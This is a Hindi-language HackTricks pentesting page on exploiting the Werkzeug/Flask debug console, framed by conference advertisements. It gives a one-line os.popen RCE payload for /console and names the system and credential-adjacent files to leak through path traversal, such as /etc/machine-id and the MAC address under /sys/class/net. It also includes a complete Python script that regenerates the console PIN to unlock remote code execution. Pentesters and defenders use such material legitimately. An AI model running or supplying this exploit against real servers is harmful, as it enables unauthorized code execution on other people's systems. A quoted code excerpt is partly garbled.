hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

13 KiB

Werkzeug / Flask डीबग

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

DragonJAR Security Conference एक अंतर्राष्ट्रीय साइबर सुरक्षा इवेंट है जो एक दशक से अधिक समय से चल रहा है और 7 और 8 सितंबर 2023 को बोगोटा, कोलंबिया में आयोजित किया जाएगा। यह एक उच्च तकनीकी सामग्री वाला इवेंट है जहां स्पेनिश में नवीनतम अनुसंधान प्रस्तुत किए जाते हैं जो दुनिया भर के हैकर्स और शोधकर्ताओं को आकर्षित करता है।
अब निम्नलिखित लिंक पर रजिस्टर करें और इस महान सम्मेलन को मिस न करें!:

{% embed url="https://www.dragonjarcon.org" %}

कंसोल RCE

यदि डीबग सक्रिय है तो आप /console तक पहुँचने का प्रयास कर सकते हैं और RCE प्राप्त कर सकते हैं।

__import__('os').popen('whoami').read();

इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे यह या मेटास्प्लॉइट में एक।

पिन संरक्षित - पथ प्रवेशन

कुछ मौकों पर /console एंडपॉइंट पिन द्वारा संरक्षित होता है। यदि आपके पास फाइल प्रवेशन भेद्यता है, तो आप उस पिन को जनरेट करने के लिए आवश्यक सभी जानकारी प्राप्त कर सकते हैं।

Werkzeug कंसोल PIN एक्सप्लॉइट

पहले लिंक से कॉपी किया गया।
ऐप में डीबग त्रुटि पृष्ठ को मजबूर करके Werkzeug "कंसोल लॉक्ड" संदेश देखें।

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

संवेदनशील Werkzeug डीबग कंसोल को पथ vulnerable-site.com/console पर खोजें, लेकिन यह एक गुप्त PIN नंबर द्वारा लॉक है।

आप कंसोल PIN उत्पन्न करने वाले एल्गोरिदम को उलट सकते हैं। सर्वर पर Werkzeug की डीबग __init__.py फाइल का निरीक्षण करें, उदाहरण के लिए python3.5/site-packages/werkzeug/debug/__init__.py। आप Werkzeug सोर्स कोड रेपो को देख सकते हैं कि PIN कैसे उत्पन्न किया जाता है, लेकिन संस्करणों में अंतर होने की संभावना के कारण, सोर्स कोड को फाइल ट्रैवर्सल वल्नरेबिलिटी के माध्यम से लीक करना बेहतर है।

कंसोल PIN का शोषण करने के लिए आवश्यक वेरिएबल:

probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]

private_bits = [
str(uuid.getnode()),
get_machine_id(),
]

probably_public_bits

  • username वह उपयोगकर्ता है जिसने यह Flask शुरू किया
  • modname है flask.app
  • getattr(app, '__name__', getattr (app .__ class__, '__name__')) है Flask
  • getattr(mod, '__file__', None) है app.py का संपूर्ण पथ flask डायरेक्टरी में (उदाहरण के लिए /usr/local/lib/python3.5/dist-packages/flask/app.py). अगर app.py काम नहीं करता, तो app.pyc की कोशिश करें

private_bits

  • uuid.getnode() वर्तमान कंप्यूटर का MAC पता है, str(uuid.getnode()) MAC पते का दशमलव अभिव्यक्ति है।

  • सर्वर MAC पता खोजने के लिए, जानना आवश्यक है कि कौन सा नेटवर्क इंटरफेस ऐप को सेवा दे रहा है (उदाहरण के लिए ens3). अगर अज्ञात है, तो /proc/net/arp को लीक करें डिवाइस ID के लिए और फिर MAC पता लीक करें /sys/class/net/<device id>/address पर।

हेक्स पते से दशमलव प्रतिनिधित्व में परिवर्तित करने के लिए पायथन में चलाएं उदाहरण के लिए:

# यह 56:00:02:7a:23:ac था
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id() /etc/machine-id या /proc/sys/kernel/random/boot_id में मूल्यों को जोड़ता है और /proc/self/cgroup की पहली पंक्ति के बाद अंतिम स्लैश (/) के साथ।
get_machine_id() कोड ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

<details>

एक बार सभी चर तैयार हो जाने के बाद, Werkzeug कंसोल PIN उत्पन्न करने के लिए एक्सप्लॉइट स्क्रिप्ट चलाएं:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

{% hint style="success" %} यदि आप पुराने संस्करण के Werkzeug पर हैं, तो हैशिंग एल्गोरिदम को sha1 के बजाय md5 में बदलने का प्रयास करें। {% endhint %}

संदर्भ

DragonJAR Security Conference एक अंतर्राष्ट्रीय साइबर सुरक्षा इवेंट है जो एक दशक से अधिक समय से आयोजित किया जा रहा है और यह 7 और 8 सितंबर 2023 को बोगोटा, कोलंबिया में होगा। यह एक उच्च तकनीकी सामग्री वाला इवेंट है जहाँ नवीनतम शोध प्रस्तुत किए जाते हैं जो दुनिया भर के हैकर्स और शोधकर्ताओं को आकर्षित करते हैं।
अभी निम्नलिखित लिंक पर रजिस्टर करें और इस महान सम्मेलन को मिस न करें!:

{% embed url="https://www.dragonjarcon.org" %}

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: